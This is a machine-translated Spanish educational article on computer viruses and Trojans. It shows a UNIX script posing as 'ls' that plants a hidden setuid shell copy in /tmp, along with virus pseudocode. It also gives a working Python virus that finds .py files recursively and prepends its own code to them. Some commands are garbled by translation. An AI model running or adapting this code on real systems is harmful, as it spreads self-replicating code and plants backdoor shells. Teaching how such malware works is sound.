Virus: de novato a profesional

NOTA: El uso de un compilador en línea no funcionará aquí. Instale Python 2.7x y cv2, módulos argparse para probar este ejemplo.

¡Hola amigos! ¡Bienvenido de nuevo! Antes de continuar con Lógica maliciosa, le pido que eche un vistazo a este excelente e informativo artículo ¡ Gusanos, virus y más !

Ahora, este artículo se centrará más en las aplicaciones que en la teoría de los virus informáticos, gusanos y caballos de Troya.

Pero, tenga en cuenta que este artículo está destinado a ser utilizado únicamente con fines educativos. De ninguna manera promuevo el uso de virus, gusanos o troyanos para atacar los sistemas informáticos y causar daños.

La lógica maliciosa es un conjunto de instrucciones (básicamente un programa) que provoca la violación de una política de seguridad de un sitio web/programa/aplicación, etc.

Guión UNIX

    cp /bin/sh /tmp/.xxsh
    chmod u+s,o+x /tmp/.xxsh
    rm ./ls
    ls $*

En este ejemplo, asumimos que «.» está en el entorno de ruta y la secuencia de comandos se ha denominado ls y se coloca en el directorio.

analizando el guion

Este script crea una copia de UNIX Shell que es setuid del usuario que ejecuta este programa. Para comprender los programas setuid, primero debemos comprender cómo se almacena la identidad del usuario en un sistema operativo UNIX.

En el sistema operativo UNIX, la identidad del usuario generalmente se representa como un número entero entre 0 y, en general, 65.535. Este número también se conoce como UID (Número de identificación único). Ahora bien, lo que hacen los programas setuid es que crean procesos con UID del dueño y no de una tercera persona ejecutando el programa. Esto significa que un albacea tendrá los derechos del propietario… Esto en sí mismo es una posible vulnerabilidad.

Volviendo a nuestro script, se creó una copia setuid del shell de UNIX. Posteriormente, este programa se elimina y luego se ejecuta el comando ls correcto (para enumerar los archivos y carpetas presentes en el directorio de trabajo actual).

Caballos de Troya

Regrese al script anterior… Suponga que alguien (root) escribió:

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh

Si el script se escribió deliberadamente, dará como resultado un caballo de Troya.

Virus – Un formato básico

La mayoría de los virus informáticos siguen el siguiente guión básico:

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus

Básicamente, cada virus informático tiene dos fases:

  1. Fase de inserción: en esta fase, el virus se inserta en el objetivo.
  2. Fase de ejecución: en esta fase, el virus realiza algunas acciones.

Echemos un vistazo a un virus real en Python. Ahora bien, este no es un virus real que provocará la corrupción de archivos, la eliminación de archivos del sistema, etc., sino un simple virus inofensivo.

#!/usr/bin/python 
import os, datetime, inspect 
DATA_TO_INSERT = "GEEKSFORGEEKS"
  
#search for target files in path
def search(path):  
    filestoinfect = [] 
    filelist = os.listdir(path) 
    for filename in filelist: 
          
        #If it is a folder
        if os.path.isdir(path+"/"+filename):  
            filestoinfect.extend(search(path+"/"+filename)) 
              
        #If it is a python script -> Infect it    
        elif filename[-3:] == ".py":
              
            #default value
            infected = False  
            for line in open(path+"/"+filename): 
                if DATA_TO_INSERT in line: 
                    infected = True
                    break
            if infected == False: 
                filestoinfect.append(path+"/"+filename) 
    return filestoinfect 
  
#changes to be made in the target file 
def infect(filestoinfect): 
    target_file = inspect.currentframe().f_code.co_filename 
    virus = open(os.path.abspath(target_file)) 
    virusstring = "" 
    for i,line in enumerate(virus): 
        if i>=0 and i <41: 
            virusstring += line 
    virus.close 
    for fname in filestoinfect: 
        f = open(fname) 
        temp = f.read() 
        f.close() 
        f = open(fname,"w") 
        f.write(virusstring + temp) 
        f.close() 
          
#Not required actually        
def explode(): 
    if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: 
            print ("HAPPY APRIL FOOL'S DAY!!")
filestoinfect = search(os.path.abspath("")) 
infect(filestoinfect) 
explode() 

Ahora, este es un virus bastante seguro, pero el formato básico y el funcionamiento son los mismos.

Además, hay varios tipos de virus informáticos: infectores del sector de arranque, infectores ejecutables, virus multipartito, virus TSR, virus Stealth, virus cifrado, virus polimórfico, virus macro.

Ahora, no entraré en detalles y me detendré aquí. ¡Eso es todo por mi parte!

Publicación traducida automáticamente

Artículo escrito por GeeksforGeeks-1 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *